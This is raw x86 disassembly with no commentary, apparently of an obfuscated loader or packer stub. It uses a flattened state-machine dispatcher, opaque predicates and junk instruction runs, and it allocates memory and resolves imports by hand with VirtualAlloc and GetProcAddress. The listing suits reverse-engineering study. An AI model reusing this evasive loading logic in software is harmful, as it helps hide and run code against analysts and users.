cmp eax, 0x19cc1a90
jne 0x401610
mov eax, 0x8998f581
jmp 0x401610
cmp eax, 0xdebbe861
jg 0x406f5a
cmp eax, 0xde378570
je 0x40abf8
cmp eax, 0xde808adf
jne 0x401610
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + 0x18]
mov dword [ebp - 0xdc], eax
movzx eax, word [ecx + 0x14]
mov dword [ebp - 0xc4], eax
mov eax, 0xf48cb4cf
jmp 0x401610
cmp eax, 0x5b61b4e6
jg 0x406f83
cmp eax, 0x5a5d6435
je 0x40ac02
cmp eax, 0x5a723d06
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0x7fae5e1d
mov edi, eax
mov esi, edx
and esi, 0xd32f899e
and edi, 0x502060
and eax, 0x23ce92ce
or edi, esi
mov esi, ecx
xor esi, 0x8051a1e2
and esi, ecx
and ecx, 0xdc316d31
mov ebx, esi
not ebx
and esi, 0x2cd07661
or eax, ecx
or edx, ebx
and ebx, 0xd32f899e
or esi, ebx
not edx
xor esi, edi
or edx, esi
not esi
and esi, 0x7fae5e1c
and edx, 0x8051a1e3
or edx, esi
mov esi, edx
not esi
and edx, 0x23ce92ce
mov edi, esi
and edi, 0xdc316d31
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xd94325d5
sete cl
setne dl
cmp dword [0x45d978], 0xa
setl ah
mov al, ah
xor dl, ah
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov edx, ecx
xor dl, ah
xor al, 1
and cl, dl
and dl, ah
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xd0cebaa2
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0xd0cebaa2
jmp 0x401603
cmp eax, 0x8c4e36f6
jg 0x406fcb
cmp eax, 0x8bb38832
je 0x40ac65
cmp eax, 0x8bc9ef04
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x8bd6a0b0
mov esi, eax
and esi, 0x74295f4e
or eax, 0xa274f6c0
or edx, esi
and eax, 0xa274f6c1
mov esi, edx
xor esi, 0x9820030
xor edx, 0x20205641
and edx, 0xa274f6c1
and esi, 0x5d8b093e
or esi, edx
xor eax, esi
mov esi, 0xeffc6b1e
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
xor edx, eax
test edx, eax
sete ah
cmp dword [0x45d978], 0xa
mov ch, ah
setl al
setge dl
mov cl, al
or ch, dl
or al, ah
xor cl, ah
xor al, 1
and cl, dl
xor dl, ah
xor cl, 1
xor dl, 1
mov dh, cl
or cl, ch
or al, dl
xor dh, ch
xor cl, 1
or cl, dh
xor cl, 1
mov edx, ecx
xor cl, al
or dl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x3b78a49d
cmovne ecx, esi
test dl, 1
mov edx, 0x3b78a49d
jmp 0x409fa7
cmp eax, 0x7e0a9e8
jg 0x407123
cmp eax, 0x688c7bb
je 0x40acaa
cmp eax, 0x74fe23b
jne 0x401610
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x70]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, 0xa5f71db5
jmp 0x401610
cmp eax, 0xcf9744ac
jg 0x407244
cmp eax, 0xcd5d00b2
je 0x40acc3
cmp eax, 0xcedc6686
jne 0x401610
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, 0xfe7178ef
jmp 0x401610
cmp eax, 0x4d601239
jg 0x40734b
cmp eax, 0x4c089dd5
je 0x40ae90
cmp eax, 0x4c206fe2
jne 0x401610
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
mov eax, 0x839d763f
setne byte [ebp - 0x86]
jmp 0x401610
cmp eax, 0xaeab297a
jg 0x40736b
cmp eax, 0xab0b6b13
je 0x40ae9a
cmp eax, 0xacd8085d
jne 0x401610
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x90]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x5c]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
not ecx
and eax, 0x20505003
mov edx, ecx
and edx, 0xc2250b00
and ecx, 0x1d8aa4fc
or eax, edx
xor eax, 0x20505003
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x12364cd0
and ecx, 0xe64d0000
mov esi, edx
and esi, 0xedc9b32f
or edx, 0xffff
or eax, esi
mov esi, eax
not esi
and eax, 0x3f9e45da
and esi, 0xc061ba25
or eax, esi
mov esi, eax
xor esi, 0xc2450900
xor eax, 0x2da8f6f5
mov edi, eax
or eax, edx
and edx, 0x19b2006b
and edi, 0x19b2006b
and esi, 0xe64dff94
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x840d026
and eax, 0xe0922301
mov edx, ecx
or edx, 0x7050c00
and esi, 0xf45dc26
and ecx, 0x102800d8
and edx, 0xf45dc26
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x172d0cd8
and ecx, 0xe8d2f327
or eax, ecx
mov dword [ebp - 0x124], eax
mov eax, 0x4b147a48
jmp 0x401610
cmp eax, 0x2e41d07e
jg 0x40738b
cmp eax, 0x2de0e7f1
je 0x40af5d
cmp eax, 0x2e39e02f
jne 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x7e9412a0
mov ecx, edx
and ecx, 0x816bed5e
and edx, 0xaaaf8aad
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0x55507552
xor esi, 0x7e9412a0
or eax, edx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xb93ad93c
mov esi, edx
and esi, 0x46c526c3
or ecx, esi
mov esi, eax
xor esi, 0x11105110
xor eax, 0x2850281
and eax, 0x46c526c3
and esi, 0xb93ad93c
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x4635579f
setne ch
sete ah
cmp dword [0x45d978], 0xa
mov al, ch
setl dl
setge cl
xor al, cl
and ch, dl
and cl, ah
or dl, ah
or cl, ch
mov ah, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x54a9b3ff
cmovne ecx, esi
test dl, 1
mov edx, 0x54a9b3ff
cmovne edx, ecx
test al, 1
jmp 0x409442
cmp eax, 0xea1460d4
je 0x40b071
cmp eax, 0xea472a92
jne 0x401610
push 4
push 0x3000
push dword [ebp - 0xfc]
push dword [ebp - 0x150]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, 0x2fd62a38
jmp 0x401610
cmp eax, 0x6ad9bb51
je 0x40b095
cmp eax, 0x6b5e6523
jne 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb702221c
mov edx, ecx
and edx, 0x48fddde2
and ecx, 0x4ec76e90
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0xb138916f
xor esi, 0xb702221c
or edx, esi
or eax, ecx
mov esi, 0x2fc6b8c8
not edx
xor eax, 0xb138916f
or eax, edx
mov ecx, eax
not ecx
and eax, 0x372f96a4
and ecx, 0xc8d0695b
or eax, ecx
xor eax, 0x372f96a4
sete ah
setne dl
cmp dword [0x45d978], 0xa
setl ch
setge al
mov cl, ch
and al, ah
xor cl, dl
and dl, ch
or ch, ah
xor ch, 1
or al, dl
or al, ch
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
or al, cl
xor dl, 1
or dl, ah
mov ah, dl
xor dl, 1
and ah, cl
xor cl, 1
and dl, cl
mov ecx, eax
or dl, ah
xor cl, dl
test al, al
mov eax, 0x9b6d660d
cmovne eax, esi
test dl, dl
not cl
mov edx, 0x9b6d660d
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401610
cmp eax, 0x8007a934
je 0x40b0b0
cmp eax, 0x801a37a6
jne 0x401610
mov ecx, dword [0x45d97c]
mov esi, 0x91dcc657
mov edi, 0x3923189b
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x24b9a57a
and edx, 0xdb465a84
or edx, ecx
mov ecx, eax
or ecx, 0x24b9a57a
and ecx, 0x24b9a57b
xor ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete dl
setne ah
cmp dword [0x45d978], 0xa
setge al
setl cl
or al, dl
or ah, cl
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
xor cl, dl
xor al, 1
or ah, dl
xor cl, 1
or al, ch
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
test dl, 1
not cl
cmovne esi, edi
test cl, al
mov eax, 0x91dcc657
cmove esi, eax
cmovne esi, edi
test dl, 1
cmovne esi, edi
mov eax, esi
jmp 0x401610
cmp eax, 0xfe7178ef
je 0x40b1bb
cmp eax, 0xfef733cd
jne 0x401610
mov eax, 0x8e043888
jmp 0x401610
cmp eax, 0xc23289a2
je 0x40b252
cmp eax, 0xc279b338
jne 0x401610
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xcc], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd0], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
mov eax, 0x752eb031
jmp 0x401610
cmp eax, 0x4246659b
je 0x40b2a2
cmp eax, 0x43879670
jne 0x401610
cmp byte [ebp - 0x88], 0
mov eax, 0xd0ee194a
mov ecx, 0xf58c38dd
cmovne eax, ecx
jmp 0x401610
cmp eax, 0xa1800845
je 0x40b2ac
cmp eax, 0xa236282b
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x502e2011
mov esi, eax
mov edi, eax
or esi, 0x20001444
and edx, 0x702e3455
and edi, 0x8d81488a
and eax, 0xb88378f1
or edi, edx
mov edx, ecx
and esi, 0x702e3455
and edx, 0x2508320
and ecx, 0x477c870e
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xf3f987d7
and esi, 0xc067828
or edx, esi
mov esi, edx
xor esi, 0x18005810
xor edx, 0xa18724e7
mov edi, edx
and edi, 0x477c870e
and esi, 0xb88378f1
or esi, edi
mov edi, 0xb612cac2
xor eax, esi
mov esi, 0xd4a47f78
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x45d978], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
mov ah, cl
xor dl, 1
and al, cl
not ah
or cl, dl
and dl, ah
or dl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xb612cac2
cmovne edx, esi
test cl, cl
cmovne edx, edi
test al, 1
cmove edx, esi
mov eax, edx
jmp 0x401610
cmp eax, 0x251eedcc
je 0x40b2bc
cmp eax, 0x25b75f77
jne 0x401610
mov eax, 0x9c81d1da
jmp 0x401610
cmp eax, 0xe0f6ebfe
je 0x40b2c6
cmp eax, 0xe1edc6e3
jne 0x401610
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x1e4], eax
mov eax, 0x29b1c93a
jmp 0x401610
cmp eax, 0x614f64b9
je 0x40b441
cmp eax, 0x624a68c0
jne 0x401610
mov eax, dword [ebp - 0x20]
mov esi, 0x5ef07384
mov dword [eax], 0xa
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0x8646d9d5
and edx, 0x79b9262a
or eax, edx
xor eax, 0x8646d9d5
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc26b8c35
and ecx, 0x3d9473ca
or eax, ecx
xor eax, 0xc26b8c35
setne dl
sete ah
cmp dword [0x45d978], 0xa
setge al
xor ah, al
or dl, al
mov cl, ah
mov al, ah
xor cl, 1
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
and ah, dl
xor dl, 1
and al, dl
or al, ah
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0xe0cb6b50
cmovne edx, esi
test al, al
mov eax, 0xe0cb6b50
cmove edx, esi
jmp 0x401600
cmp eax, 0x8ed488ec
je 0x40b461
cmp eax, 0x8fae4f84
jne 0x401610
mov eax, 0x644292c5
jmp 0x401610
cmp eax, 0x10cf87cc
je 0x40b46b
cmp eax, 0x11aa320f
jne 0x401610
rol esi, 0x56
rcr ebx, 0x4e
rol esi, 0xda
sub edi, 0xf9
rcl ebx, 0x4e
sub ebx, 0xbc
ror edi, 0x63
imul edi
imul edi
add esi, 0xe2
or esi, 0x8d
imul ebx
add esi, 0x61
sub edi, 0x1c
dec edi
mov edi, 0xb0
mov ebx, 0x16
add eax, 0xa0
rcl esi, 0x2d
neg eax
add esi, 0xac
rcr edi, 0x1e
sub edi, 0xef
rcl edx, 0xa3
ror edi, 0x93
neg esi
neg esi
not eax
bswap edi
dec esi
rol eax, 0xc3
dec edi
and ebx, 0x4a
neg edi
sbb ebx, 0xa4
inc ebx
inc edx
ror edi, 0x1e
add edx, 0x1a
inc esi
rol esi, 0xa9
rcr esi, 0x29
sub edx, 0x2a
add eax, 0x2b
rol edi, 0xb3
imul esi
and ebx, 0x5d
imul edi
inc edi
not eax
add edx, 0xa7
mov edi, 0xb3
neg edi
neg esi
rol edx, 0x7a
and eax, 0xad
or edx, 0xd8
and eax, 0xcc
inc ebx
ror edi, 0xda
ror eax, 0x2c
imul edx
ror ebx, 0x77
inc ebx
dec ebx
sub eax, 0x99
inc eax
ror eax, 0x36
not ebx
dec edi
rol ebx, 0x83
mov eax, 0x9d
sub ebx, 0xe2
sub eax, 0x52
bswap edi
rol edi, 0x74
rol edi, 0x15
sub eax, 0x7f
sub ebx, 0x3a
sub edx, 0xb3
and edx, 0xbe
sbb ebx, 0xc1
imul edx
neg eax
imul edi
bswap ebx
add ebx, 0x79
and edx, 0x6d
sbb eax, 0x57
inc edx
sbb ebx, 0xca
sub edx, 0x22
mov eax, 0x2e
dec edi
dec eax
dec esi
mov edx, 6
mov ebx, 0x75
not edi
or esi, 0x5b
dec edx
imul edx
rol esi, 0xfa
rcl edx, 0x19
bswap ebx
not esi
rcl ebx, 0xa0
not edi
dec eax
neg edi
neg edx
and edi, 0xd6
imul edx
dec ebx
add eax, 0xeb
sub edx, 0x73
rcl esi, 0x9b
inc eax
dec edi
rcl eax, 0x35
inc eax
rol ebx, 0x56
not edx
sub eax, 0x2a
dec esi
and edi, 0x7e
inc eax
and edx, 0x2f
imul esi
or eax, 0xb7
inc edi
sub eax, 0x48
sub esi, 0x68
imul ebx
bswap edi
rcr esi, 0x3e
bswap edi
not esi
neg esi
neg eax
inc edi
sub ebx, 0x33
and edi, 0xd4
bswap ebx
or eax, 0xa8
inc ebx
inc edx
inc eax
ror esi, 0xfc
or eax, 0x22
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x24]
add eax, 0x18
mov dword [ebp - 0x1b8], eax
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x221340c
mov ecx, edx
and ecx, 0x2018c392
and edx, 0xcbdeb0
or esi, ecx
mov ecx, eax
and ecx, 0xddc60861
and eax, 0xff34214f
xor esi, 0x221340c
or eax, edx
or ecx, esi
mov edx, eax
xor eax, 0xcbdeb0
xor edx, 0xff34214f
mov esi, ecx
not esi
and ecx, 0xbd0440f
and esi, 0xf42fbbf0
or ecx, esi
mov esi, ecx
xor esi, 0x29e9b390
xor ecx, 0xd6164c6f
and eax, esi
and edx, ecx
mov esi, 0x9f36b9ba
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne al
cmp dword [0x45d978], 0xa
setge ah
mov cl, ah
xor cl, al
or al, ah
or ah, dl
and cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
or cl, ch
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or ah, al
or dl, cl
mov al, ah
mov ecx, 0xf488fdc5
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, 1
mov eax, 0xf488fdc5
jmp 0x409328
cmp eax, 0xd4f553aa
je 0x40b583
cmp eax, 0xd6ba8206
jne 0x401610
mov eax, 0xf9e2e73a
jmp 0x401610
cmp eax, 0x53a4e47b
je 0x40b5a2
cmp eax, 0x5439307e
jne 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 1
not edx
and eax, 0xb3f7feb4
mov esi, edx
and ecx, 0x288feddb
and esi, 0xd7701224
or esi, ecx
mov ecx, edx
or ecx, 0x288fedda
and edx, 0x4c08014b
and ecx, 0x288feddb
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0xb3f7feb4
xor eax, 0x4c08014b
mov esi, 0x37bf8089
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne al
sete dl
cmp dword [0x45d978], 0xa
mov ecx, eax
setge ah
xor al, ah
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
test al, 1
mov eax, 0x8d22e4f0
cmovne eax, esi
test dl, 1
mov edx, 0x8d22e4f0
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x401610
cmp eax, 0xb5f10a67
je 0x40b725
cmp eax, 0xb612cac2
jne 0x401610
mov eax, dword [ebp - 0x74]
mov eax, 0xd4a47f78
jmp 0x401610
cmp eax, 0x31484310
je 0x40b84e
cmp eax, 0x319358e2
jne 0x401610
mov eax, 0xb96f1740
jmp 0x401610
cmp eax, 0xf0c364cb
je 0x40ba11
cmp eax, 0xf106d513
jne 0x401610
mov eax, 0x55f66043
jmp 0x401610
cmp eax, 0x7221028d
je 0x40ba65
cmp eax, 0x752eb031
jne 0x401610
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
rol edx, 0xb
rcl esi, 0xb1
or edx, 0xe4
dec eax
ror edi, 0x54
add edx, 0xf5
rcr edx, 0xaf
and esi, 0x45
add ebx, 0xb3
imul eax
inc edi
inc edi
rol ebx, 0x6f
rcl esi, 0x33
neg edx
imul edi
rcl eax, 0xa9
add edx, 0xa4
neg edi
inc esi
neg esi
sub esi, 0x59
inc edi
neg edx
rcr edx, 0x35
sbb eax, 0xb4
inc eax
dec eax
and edi, 0x98
add edi, 0xfa
inc edi
not eax
bswap eax
rcl edi, 0xb2
rol edi, 0xa7
dec esi
or ebx, 0x9f
bswap ebx
dec eax
dec ebx
not ebx
rcl ebx, 0x8e
sub esi, 0xb7
and edi, 0x20
ror esi, 0x2d
not esi
ror edx, 0xaa
or ebx, 0xa1
neg edx
or ebx, 0x39
and esi, 0xc1
not edi
sub edx, 0x12
ror edx, 0x6e
imul edx
bswap eax
imul esi
neg ebx
ror esi, 0x19
dec esi
rcr edi, 0x1d
ror ebx, 0x6b
add esi, 0x1c
not eax
inc eax
rcr esi, 0xef
and ebx, 0x42
dec ebx
inc ebx
and eax, 0xcd
neg eax
add edx, 0xc5
rcr edi, 0x95
sbb eax, 0x4b
imul esi
mov esi, 0x75
dec edx
imul edx
inc edi
sbb esi, 0x4f
rcr eax, 0x5a
not eax
neg edi
ror edx, 0x94
dec edi
sbb ebx, 0x65
dec ebx
dec esi
not edi
bswap ebx
neg esi
add eax, 0x2f
dec ebx
add esi, 0xd3
rol ebx, 0xff
dec esi
bswap edi
rcl edx, 0x9d
rcr edi, 0x4c
neg ebx
dec esi
rcl edx, 0xf8
neg edi
imul edi
rcr edx, 0xb5
rol ebx, 0x7a
imul ebx
mov esi, 0x7a
sbb edx, 5
neg ebx
ror eax, 0x72
imul edi
rol ebx, 0x83
or edi, 0x5d
inc edx
ror esi, 0x10
neg edi
dec edi
rcl ebx, 0xf4
imul edi
rcl edi, 0x56
sbb esi, 0x9c
bswap edx
rol edx, 0xd3
rol edx, 0xc3
rcr ebx, 0xa
neg esi
inc edi
not ebx
sub edi, 0xf3
sub ebx, 0xa4
ror eax, 0x3a
and edx, 0x28
rcr esi, 0xcb
and edi, 0x19
rol eax, 0x55
not edi
imul esi
dec edi
ror edx, 0x46
neg esi
or edi, 0x7b
mov edx, 0xe2
dec ebx
sbb eax, 0xa3
and edi, 0x9e
add edx, 0xc3
mov edx, 0x4c
sub eax, 0x57
sbb eax, 0xc1
rol edi, 0x49
ror eax, 0xcb
or ebx, 0xea
dec edx
ror edx, 0x43
neg eax
sub edi, 0xf5
and edx, 0xf5
inc ebx
rol ebx, 0xcb
dec ebx
bswap edx
not ebx
add ebx, 0xa0
not ebx
neg ebx
inc edi
add esi, 3
or ebx, 0xa6
or ebx, 0x27
sub eax, 0xd7
rcr esi, 0x94
add esi, 0xe4
neg esi
neg ebx
add esi, 0xfe
and edx, 0xea
inc edx
and eax, 0x7b
inc ebx
or edx, 0xd7
bswap eax
or eax, 0x45
neg ebx
mov edi, 0x9a
bswap edi
inc edx
bswap edx
inc ebx
mov ebx, 0x68
imul ebx
dec ebx
bswap edi
add esi, 0x68
bswap edx
sbb eax, 0x5d
add edx, 0x1e
mov esi, 0xcf
ror edx, 0x78
not edx
and ebx, 0xf1
bswap ebx
bswap edi
neg eax
inc edi
rol edx, 0x40
neg eax
not eax
bswap eax
mov edi, 0xca
rcl ebx, 0x72
inc edi
rol ebx, 0xf3
dec edx
bswap edi
sub ebx, 0x56
mov eax, 0x76
sbb eax, 0x1b
imul edi
imul eax
mov esi, 0xc8
not ebx
sub edx, 0x10
add esi, 0x35
imul ebx
rcr edi, 0x94
ror edx, 0x77
bswap eax
not ebx
inc edx
sub esi, 0xcb
bswap edi
ror ebx, 0x3c
inc edx
mov eax, 0x39
imul edx
sub esi, 0x20
add edx, 2
not edx
sbb eax, 0xb8
bswap edi
neg esi
rcl edi, 0x61
imul edi
neg edx
bswap edx
not edx
mov esi, 0xe3
sub ebx, 0xcd
sbb eax, 0xe1
neg esi
bswap ebx
inc edx
bswap edi
rol edi, 0x53
not edi
and ebx, 0x47
dec esi
inc eax
not eax
dec eax
sub eax, 0xa0
neg edx
rcr eax, 0x27
imul esi
rcl esi, 0x5a
rcl edi, 0xe1
add eax, 0x17
rcr edx, 0x32
not eax
inc esi
rol esi, 0x96
rol esi, 0x5f
inc edi
bswap edi
sbb edx, 0x7e
neg eax
neg ebx
dec esi
sbb edi, 0x11
sub esi, 0x2e
neg edx
inc edx
rcr eax, 0x6e
inc esi
dec edi
bswap eax
inc esi
inc edx
rcl ebx, 0x8a
add edx, 0xa4
inc ebx
and edx, 0x51
inc ebx
rcl edi, 0x55
rcr esi, 0x3e
not edx
and edx, 0x22
imul edi
neg edi
neg esi
sub esi, 0x8c
imul edx
dec edx
imul edx
dec ebx
rcl esi, 0x54
imul ebx
dec edx
mov esi, 0x26
inc esi
rol edx, 0xef
inc edx
not esi
rol esi, 0x3a
not esi
add edx, 0xc4
inc edi
inc ebx
ror edi, 0x17
rol edi, 0x88
sub edx, 0x7d
mov esi, 0xf3
sbb ebx, 0x7b
imul ebx
mov edi, 0xf8
rol edx, 0x16
mov esi, 1
or ebx, 0xca
rcr edx, 0x68
imul edi
or edx, 0xb6
inc eax
rcl esi, 0x86
neg ebx
not eax
dec edx
or esi, 0xa9
rcl eax, 0xbb
add eax, 0x16
sub ebx, 0xdf
ror edi, 0x15
and ebx, 0x64
imul esi
or edi, 0x3f
inc eax
or esi, 0x2f
ror eax, 0x24
or edi, 0x58
not eax
bswap edi
ror ebx, 8
and eax, 0x40
imul edi
or ebx, 0x5c
imul edi
and esi, 0x32
sbb edi, 0x42
dec ebx
bswap edi
ror edi, 0x60
sub esi, 0x2d
add eax, 0x31
sbb edx, 0x8b
not ebx
mov edx, 0xf1
and eax, 0x6a
inc ebx
sub ebx, 0x22
rol edx, 0
ror ebx, 0x4b
inc edi
mov ebx, 0x28
bswap eax
bswap edi
neg edx
rol eax, 0x41
bswap eax
inc edx
sub edx, 0xcc
dec eax
add edi, 0x67
ror edx, 0xfe
add eax, 0x27
sub edi, 0x5f
add ebx, 0x81
add edx, 0xf8
ror esi, 0xbe
imul esi
and ebx, 0xd5
bswap ebx
neg ebx
rol ebx, 0xd8
bswap edx
inc ebx
ror ebx, 0x5c
rol edi, 0x21
neg eax
rcl eax, 0x35
rcr ebx, 0x37
rol edx, 9
or edx, 0xb8
dec eax
bswap edx
bswap eax
not edx
rcl edi, 0x22
not edi
inc edi
add ebx, 0x72
rcr esi, 0xb
inc esi
rcl eax, 0x9c
rcr eax, 0x7c
mov eax, 0xa1
or eax, 0x23
ror ebx, 0x96
sbb ebx, 0x2f
inc esi
sbb eax, 0xe6
rcl eax, 0x13
ror eax, 0xcb
inc eax
inc esi
dec edx
rcl edx, 0xf8
mov eax, 0x74
rcr esi, 0xd3
add edi, 0xfa
dec edx
sbb eax, 0xe
or edi, 0x69
rcr edi, 0xd0
neg eax
sub ebx, 0x68
dec edx
mov eax, 0
and esi, 0xd6
add edi, 0xe5
rol eax, 0x92
rol edx, 0xf2
rol eax, 0xe6
dec edx
dec eax
neg esi
neg ebx
bswap eax
dec edx
ror edi, 0xf4
not edx
dec eax
rol edi, 0xec
sub edi, 0x6c
imul eax
imul esi
dec ebx
rcl ebx, 0x8a
sub edi, 0xb5
neg ebx
bswap edx
mov esi, 0x4e
add edi, 0xc9
inc ebx
rcl edi, 6
add eax, 0xee
sbb ebx, 0xbb
sub esi, 0x8b
mov ebx, 0xf5
rcl edi, 0x72
imul eax
